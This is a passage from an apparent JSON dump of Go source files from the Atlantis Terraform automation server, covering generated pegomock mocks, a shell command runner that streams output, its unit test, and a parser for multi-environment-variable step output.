    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime/models (interfaces: Exec)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockExec struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockExec(options ...pegomock.Option) *MockExec {\n\tmock := &MockExec{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockExec) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockExec) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockExec) CombinedOutput(args []string, envs map[string]string, workdir string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockExec().\")\n\t}\n\t_params := []pegomock.Param{args, envs, workdir}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"CombinedOutput\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockExec) LookPath(file string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockExec().\")\n\t}\n\t_params := []pegomock.Param{file}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"LookPath\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockExec) VerifyWasCalledOnce() *VerifierMockExec {\n\treturn &VerifierMockExec{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockExec) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockExec {\n\treturn &VerifierMockExec{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockExec) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockExec {\n\treturn &VerifierMockExec{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockExec) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockExec {\n\treturn &VerifierMockExec{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockExec struct {\n\tmock                   *MockExec\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockExec) CombinedOutput(args []string, envs map[string]string, workdir string) *MockExec_CombinedOutput_OngoingVerification {\n\t_params := []pegomock.Param{args, envs, workdir}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"CombinedOutput\", _params, verifier.timeout)\n\treturn &MockExec_CombinedOutput_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockExec_CombinedOutput_OngoingVerification struct {\n\tmock              *MockExec\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockExec_CombinedOutput_OngoingVerification) GetCapturedArguments() ([]string, map[string]string, string) {\n\targs, envs, workdir := c.GetAllCapturedArguments()\n\treturn args[len(args)-1], envs[len(envs)-1], workdir[len(workdir)-1]\n}\n\nfunc (c *MockExec_CombinedOutput_OngoingVerification) GetAllCapturedArguments() (_param0 [][]string, _param1 []map[string]string, _param2 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([][]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.([]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]map[string]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(map[string]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockExec) LookPath(file string) *MockExec_LookPath_OngoingVerification {\n\t_params := []pegomock.Param{file}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"LookPath\", _params, verifier.timeout)\n\treturn &MockExec_LookPath_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockExec_LookPath_OngoingVerification struct {\n\tmock              *MockExec\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockExec_LookPath_OngoingVerification) GetCapturedArguments() string {\n\tfile := c.GetAllCapturedArguments()\n\treturn file[len(file)-1]\n}\n\nfunc (c *MockExec_LookPath_OngoingVerification) GetAllCapturedArguments() (_param0 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/models/mocks/mock_filepath.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime/models (interfaces: FilePath)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockFilePath struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockFilePath(options ...pegomock.Option) *MockFilePath {\n\tmock := &MockFilePath{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockFilePath) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockFilePath) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockFilePath) Join(elem ...string) models.FilePath {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockFilePath().\")\n\t}\n\t_params := []pegomock.Param{}\n\tfor _, param := range elem {\n\t\t_params = append(_params, param)\n\t}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Join\", _params, []reflect.Type{reflect.TypeOf((*models.FilePath)(nil)).Elem()})\n\tvar _ret0 models.FilePath\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.FilePath)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockFilePath) NotExists() bool {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockFilePath().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"NotExists\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()})\n\tvar _ret0 bool\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockFilePath) Resolve() string {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockFilePath().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Resolve\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()})\n\tvar _ret0 string\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockFilePath) Symlink(newname string) (models.FilePath, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockFilePath().\")\n\t}\n\t_params := []pegomock.Param{newname}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Symlink\", _params, []reflect.Type{reflect.TypeOf((*models.FilePath)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.FilePath\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.FilePath)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockFilePath) VerifyWasCalledOnce() *VerifierMockFilePath {\n\treturn &VerifierMockFilePath{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockFilePath) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockFilePath {\n\treturn &VerifierMockFilePath{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockFilePath) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockFilePath {\n\treturn &VerifierMockFilePath{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockFilePath) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockFilePath {\n\treturn &VerifierMockFilePath{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockFilePath struct {\n\tmock                   *MockFilePath\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockFilePath) Join(elem ...string) *MockFilePath_Join_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tfor _, param := range elem {\n\t\t_params = append(_params, param)\n\t}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Join\", _params, verifier.timeout)\n\treturn &MockFilePath_Join_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockFilePath_Join_OngoingVerification struct {\n\tmock              *MockFilePath\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockFilePath_Join_OngoingVerification) GetCapturedArguments() []string {\n\telem := c.GetAllCapturedArguments()\n\treturn elem[len(elem)-1]\n}\n\nfunc (c *MockFilePath_Join_OngoingVerification) GetAllCapturedArguments() (_param0 [][]string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\t_param0 = make([][]string, len(c.methodInvocations))\n\t\tfor u := 0; u < len(c.methodInvocations); u++ {\n\t\t\t_param0[u] = make([]string, len(_params)-0)\n\t\t\tfor x := 0; x < len(_params); x++ {\n\t\t\t\tif _params[x][u] != nil {\n\t\t\t\t\t_param0[u][x-0] = _params[x][u].(string)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockFilePath) NotExists() *MockFilePath_NotExists_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"NotExists\", _params, verifier.timeout)\n\treturn &MockFilePath_NotExists_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockFilePath_NotExists_OngoingVerification struct {\n\tmock              *MockFilePath\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockFilePath_NotExists_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockFilePath_NotExists_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockFilePath) Resolve() *MockFilePath_Resolve_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Resolve\", _params, verifier.timeout)\n\treturn &MockFilePath_Resolve_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockFilePath_Resolve_OngoingVerification struct {\n\tmock              *MockFilePath\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockFilePath_Resolve_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockFilePath_Resolve_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockFilePath) Symlink(newname string) *MockFilePath_Symlink_OngoingVerification {\n\t_params := []pegomock.Param{newname}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Symlink\", _params, verifier.timeout)\n\treturn &MockFilePath_Symlink_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockFilePath_Symlink_OngoingVerification struct {\n\tmock              *MockFilePath\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockFilePath_Symlink_OngoingVerification) GetCapturedArguments() string {\n\tnewname := c.GetAllCapturedArguments()\n\treturn newname[len(newname)-1]\n}\n\nfunc (c *MockFilePath_Symlink_OngoingVerification) GetAllCapturedArguments() (_param0 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/models/shell_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage models\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/ansi\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n)\n\n// Setting the buffer size to 10mb\nconst BufioScannerBufferSize = 10 * 1024 * 1024\n\n// Line represents a line that was output from a shell command.\ntype Line struct {\n\t// Line is the contents of the line (without the newline).\n\tLine string\n\t// Err is set if there was an error.\n\tErr error\n}\n\n// ShellCommandRunner runs a command via `exec.Command` and streams output to the\n// `ProjectCommandOutputHandler`.\ntype ShellCommandRunner struct {\n\tcommand       string\n\tworkingDir    string\n\toutputHandler jobs.ProjectCommandOutputHandler\n\tstreamOutput  bool\n\tcmd           *exec.Cmd\n\tshell         *valid.CommandShell\n}\n\nfunc NewShellCommandRunner(\n\tshell *valid.CommandShell,\n\tcommand string,\n\tenviron []string,\n\tworkingDir string,\n\tstreamOutput bool,\n\toutputHandler jobs.ProjectCommandOutputHandler,\n) *ShellCommandRunner {\n\tif shell == nil {\n\t\tshell = &valid.CommandShell{\n\t\t\tShell:     \"sh\",\n\t\t\tShellArgs: []string{\"-c\"},\n\t\t}\n\t}\n\tvar args []string\n\targs = append(args, shell.ShellArgs...)\n\targs = append(args, command)\n\tcmd := exec.Command(shell.Shell, args...) // #nosec\n\tcmd.Env = environ\n\tcmd.Dir = workingDir\n\n\treturn &ShellCommandRunner{\n\t\tcommand:       command,\n\t\tworkingDir:    workingDir,\n\t\toutputHandler: outputHandler,\n\t\tstreamOutput:  streamOutput,\n\t\tcmd:           cmd,\n\t\tshell:         shell,\n\t}\n}\n\nfunc (s *ShellCommandRunner) Run(ctx command.ProjectContext) (string, error) {\n\t_, outCh := s.RunCommandAsync(ctx)\n\n\toutbuf := new(strings.Builder)\n\tvar err error\n\tfor line := range outCh {\n\t\tif line.Err != nil {\n\t\t\terr = line.Err\n\t\t\tbreak\n\t\t}\n\t\toutbuf.WriteString(line.Line)\n\t\toutbuf.WriteString(\"\\n\")\n\t}\n\n\t// sanitize output by stripping out any ansi characters.\n\toutput := ansi.Strip(outbuf.String())\n\treturn output, err\n}\n\n// RunCommandAsync runs terraform with args. It immediately returns an\n// input and output channel. Callers can use the output channel to\n// get the realtime output from the command.\n// Callers can use the input channel to pass stdin input to the command.\n// If any error is passed on the out channel, there will be no\n// further output (so callers are free to exit).\nfunc (s *ShellCommandRunner) RunCommandAsync(ctx command.ProjectContext) (chan<- string, <-chan Line) {\n\toutCh := make(chan Line)\n\tinCh := make(chan string)\n\tstart := time.Now()\n\n\t// We start a goroutine to do our work asynchronously and then immediately\n\t// return our channels.\n\tgo func() {\n\t\t// Ensure we close our channels when we exit.\n\t\tdefer func() {\n\t\t\tclose(outCh)\n\t\t\tclose(inCh)\n\t\t}()\n\n\t\tstdout, _ := s.cmd.StdoutPipe()\n\t\tstderr, _ := s.cmd.StderrPipe()\n\t\tstdin, _ := s.cmd.StdinPipe()\n\n\t\tctx.Log.Debug(\"starting '%s %q' in '%s'\", s.shell.String(), s.command, s.workingDir)\n\t\terr := s.cmd.Start()\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"running '%s %q' in '%s': %w\", s.shell.String(), s.command, s.workingDir, err)\n\t\t\tctx.Log.Err(err.Error())\n\t\t\toutCh <- Line{Err: err}\n\t\t\treturn\n\t\t}\n\n\t\t// If we get anything on inCh, write it to stdin.\n\t\t// This function will exit when inCh is closed which we do in our defer.\n\t\tgo func() {\n\t\t\tfor line := range inCh {\n\t\t\t\tctx.Log.Debug(\"writing %q to remote command's stdin\", line)\n\t\t\t\t_, err := io.WriteString(stdin, line)\n\t\t\t\tif err != nil {\n\t\t\t\t\terr = fmt.Errorf(\"writing %q to process: %w\", line, err)\n\t\t\t\t\tctx.Log.Err(err.Error())\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\n\t\twg := new(sync.WaitGroup)\n\t\twg.Add(2)\n\t\t// Asynchronously copy from stdout/err to outCh.\n\t\tgo func() {\n\t\t\tscanner := bufio.NewScanner(stdout)\n\t\t\tbuf := []byte{}\n\t\t\tscanner.Buffer(buf, BufioScannerBufferSize)\n\n\t\t\tfor scanner.Scan() {\n\t\t\t\tmessage := scanner.Text()\n\t\t\t\toutCh <- Line{Line: message}\n\t\t\t\tif s.streamOutput {\n\t\t\t\t\ts.outputHandler.Send(ctx, message, false)\n\t\t\t\t}\n\t\t\t}\n\t\t\twg.Done()\n\t\t}()\n\t\tgo func() {\n\t\t\tscanner := bufio.NewScanner(stderr)\n\t\t\tfor scanner.Scan() {\n\t\t\t\tmessage := scanner.Text()\n\t\t\t\toutCh <- Line{Line: message}\n\t\t\t\tif s.streamOutput {\n\t\t\t\t\ts.outputHandler.Send(ctx, message, false)\n\t\t\t\t}\n\t\t\t}\n\t\t\twg.Done()\n\t\t}()\n\n\t\t// Wait for our copying to complete. This *must* be done before\n\t\t// calling cmd.Wait(). (see https://github.com/golang/go/issues/19685)\n\t\twg.Wait()\n\n\t\t// Wait for the command to complete.\n\t\terr = s.cmd.Wait()\n\n\t\tdur := time.Since(start)\n\t\tlog := ctx.Log.With(\"duration\", dur)\n\n\t\t// We're done now. Send an error if there was one.\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"running '%s' '%s' in '%s': %w\", s.shell.String(), s.command, s.workingDir, err)\n\t\t\tlog.Err(err.Error())\n\t\t\toutCh <- Line{Err: err}\n\t\t} else {\n\t\t\tlog.Info(\"successfully ran '%s' '%s' in '%s'\",\n\t\t\t\ts.shell.String(), s.command, s.workingDir)\n\t\t}\n\t}()\n\n\treturn inCh, outCh\n}\n"
  },
  {
    "path": "server/core/runtime/models/shell_command_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage models_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\tlogmocks \"github.com/runatlantis/atlantis/server/logging/mocks\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestShellCommandRunner_Run(t *testing.T) {\n\tcases := []struct {\n\t\tCommand  string\n\t\tExpLines []string\n\t\tEnviron  map[string]string\n\t}{\n\t\t{\n\t\t\tCommand: \"echo $HELLO\",\n\t\t\tEnviron: map[string]string{\n\t\t\t\t\"HELLO\": \"world\",\n\t\t\t},\n\t\t\tExpLines: []string{\"world\"},\n\t\t},\n\t\t{\n\t\t\tCommand:  \">&2 echo this is an error\",\n\t\t\tExpLines: []string{\"this is an error\"},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Command, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tlog := logmocks.NewMockSimpleLogging()\n\t\t\tWhen(log.With(Any[string](), Any[any]())).ThenReturn(log)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:        log,\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t}\n\t\t\tprojectCmdOutputHandler := mocks.NewMockProjectCommandOutputHandler()\n\n\t\t\tcwd, err := os.Getwd()\n\t\t\tOk(t, err)\n\t\t\tenviron := []string{}\n\t\t\tfor k, v := range c.Environ {\n\t\t\t\tenviron = append(environ, fmt.Sprintf(\"%s=%s\", k, v))\n\t\t\t}\n\t\t\texpectedOutput := fmt.Sprintf(\"%s\\n\", strings.Join(c.ExpLines, \"\\n\"))\n\n\t\t\t// Run once with streaming enabled\n\t\t\trunner := models.NewShellCommandRunner(nil, c.Command, environ, cwd, true, projectCmdOutputHandler)\n\t\t\toutput, err := runner.Run(ctx)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, expectedOutput, output)\n\t\t\tfor _, line := range c.ExpLines {\n\t\t\t\tprojectCmdOutputHandler.VerifyWasCalledOnce().Send(ctx, line, false)\n\t\t\t}\n\n\t\t\tlog.VerifyWasCalledOnce().With(Eq(\"duration\"), Any[any]())\n\n\t\t\t// And again with streaming disabled. Everything should be the same except the\n\t\t\t// command output handler should not have received anything\n\n\t\t\tprojectCmdOutputHandler = mocks.NewMockProjectCommandOutputHandler()\n\t\t\trunner = models.NewShellCommandRunner(nil, c.Command, environ, cwd, false, projectCmdOutputHandler)\n\t\t\toutput, err = runner.Run(ctx)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, expectedOutput, output)\n\t\t\tprojectCmdOutputHandler.VerifyWasCalled(Never()).Send(Any[command.ProjectContext](), Any[string](), Eq(false))\n\n\t\t\tlog.VerifyWasCalled(Twice()).With(Eq(\"duration\"), Any[any]())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/runtime/multienv_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\n// EnvStepRunner set environment variables.\ntype MultiEnvStepRunner struct {\n\tRunStepRunner *RunStepRunner\n}\n\n// Run runs the multienv step command.\n// The command must return a json string containing the array of name-value pairs that are being added as extra environment variables\nfunc (r *MultiEnvStepRunner) Run(\n\tctx command.ProjectContext,\n\tshell *valid.CommandShell,\n\tcommand string,\n\tpath string,\n\tenvs map[string]string,\n\tpostProcessOutput []valid.PostProcessRunOutputOption,\n) (string, error) {\n\tres, err := r.RunStepRunner.Run(ctx, shell, command, path, envs, false, []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow}, []*regexp.Regexp{})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar sb strings.Builder\n\tif len(res) == 0 {\n\t\tsb.WriteString(\"No dynamic environment variable added\")\n\t} else {\n\t\tsb.WriteString(\"Dynamic environment variables added:\\n\")\n\n\t\tvars, err := parseMultienvLine(res)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"invalid environment variable definition: %s (%w)\", res, err)\n\t\t}\n\n\t\tfor i := 0; i < len(vars); i += 2 {\n\t\t\tkey := vars[i]\n\t\t\tenvs[key] = vars[i+1]\n\t\t\tsb.WriteString(key)\n\t\t\tsb.WriteRune('\\n')\n\t\t}\n\t}\n\n\toutput := \"\"\n\tfor _, processOutput := range postProcessOutput {\n\t\tswitch processOutput {\n\t\tcase valid.PostProcessRunOutputHide:\n\t\t\toutput = \"\"\n\t\tcase valid.PostProcessRunOutputShow:\n\t\t\toutput = sb.String()\n\t\tdefault:\n\t\t\toutput = sb.String()\n\t\t}\n\t}\n\n\treturn output, nil\n}\n\nfunc parseMultienvLine(in string) ([]string, error) {\n\tin = strings.TrimSpace(in)\n\tif in == \"\" {\n\t\treturn nil, nil\n\t}\n\tif len(in) < 3 {\n\t\treturn nil, errors.New(\"invalid syntax\") // TODO\n\t}\n\n\tvar res []string\n\tvar inValue, dquoted, squoted, escaped bool\n\tvar i int\n\n\tfor j, r := range in {\n\t\tif !inValue {\n\t\t\tif r == '=' {\n\t\t\t\tinValue = true\n\t\t\t\tres = append(res, in[i:j])\n\t\t\t\ti = j + 1\n\t\t\t}\n\t\t\tif r == ' ' || r == '\\t' {\n\t\t\t\treturn nil, errInvalidKeySyntax\n\t\t\t}\n\t\t\tif r == ',' && len(res) > 0 {\n\t\t\t\ti = j + 1\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif r == '\"' && !squoted {\n\t\t\tif j == i && !dquoted { // value is double quoted\n\t\t\t\tdquoted = true\n\t\t\t\ti = j + 1\n\t\t\t} else if dquoted && in[j-1] != '\\\\' {\n\t\t\t\tres = append(res, unescape(in[i:j], escaped))\n\t\t\t\ti = j + 1\n\t\t\t\tdquoted = false\n\t\t\t\tinValue = false\n\t\t\t} else if in[j-1] != '\\\\' {\n\t\t\t\treturn nil, errMisquoted\n\t\t\t} else if in[j-1] == '\\\\' {\n\t\t\t\tescaped = true\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif r == '\\'' && !dquoted {\n\t\t\tif j == i && !squoted { // value is double quoted\n\t\t\t\tsquoted = true\n\t\t\t\ti = j + 1\n\t\t\t} else if squoted && in[j-1] != '\\\\' {\n\t\t\t\tres = append(res, in[i:j])\n\t\t\t\ti = j + 1\n\t\t\t\tsquoted = false\n\t\t\t\tinValue = false\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif r == ',' && !dquoted && !squoted && inValue {\n\t\t\tres = append(res, in[i:j])\n\t\t\ti = j + 1\n\t\t\tinValue = false\n\t\t}\n\t}\n\n\tif i < len(in) {\n\t\tif !inValue {\n\t\t\treturn nil, errRemaining\n\t\t}\n\t\tres = append(res, unescape(in[i:], escaped))\n\t\tinValue = false\n\t}\n\tif dquoted || squoted {\n\t\treturn nil, errMisquoted\n\t}\n\tif inValue {\n\t\treturn nil, errRemaining\n\t}\n\n\treturn res, nil\n}\n\nfunc unescape(s string, escaped bool) string {\n\tif escaped {\n\t\treturn strings.ReplaceAll(strings.ReplaceAll(s, `\\\\`, `\\`), `\\\"`, `\"`)\n\t}\n\treturn s\n}\n\nvar (\n\terrInvalidKeySyntax = errors.New(\"invalid key syntax\")\n\terrMisquoted        = errors.New(\"misquoted\")\n\terrRemaining        = errors.New(\"remaining unparsed data\")\n)\n"
  },
  {
    "path": "server/core/runtime/multienv_step_runner_internal_test.go",
